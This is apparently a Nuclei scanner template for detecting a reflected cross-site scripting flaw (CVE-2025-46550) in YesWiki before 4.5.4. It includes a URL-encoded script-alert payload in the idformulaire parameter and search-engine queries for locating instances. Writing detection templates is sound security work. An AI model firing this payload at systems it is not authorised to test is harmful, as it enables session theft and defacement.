id: CVE-2025-46550

info:
  name: YesWiki < 4.5.4 - Cross-Site Scripting
  author: MuhammadWaseem
  severity: medium
  description: |
    YesWiki < 4.5.4 contains a reflected cross-site scripting caused by unsanitized `idformulaire` parameter in `/?BazaR` endpoint, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.
  impact: |
    Attackers can steal cookies, hijack user sessions, deface website, or embed malicious content.
  remediation: |
    Update to version 4.5.4 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-ggqx-43h2-55jp
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46550
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-46550
    epss-score: 0.0054
    epss-percentile: 0.4238
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"yeswiki"
    fofa-query: body="yeswiki"
  tags: cve,cve2025,xss,yeswiki,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?BazaR&vue=formulaire&action=confirm_delete&idformulaire=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "yeswiki")'
        condition: and
# digest: 4a0a0047304502201baef4e34fff1af83b8b527f7d51ff961a4812325b56634f3e0344f891b9e0ac022100f7324c98239095553a4f5ca3875dd8c821bd39f3684cb9f5184d3825b6dcf2fc:922c64590222798bb761d5b6d8e72950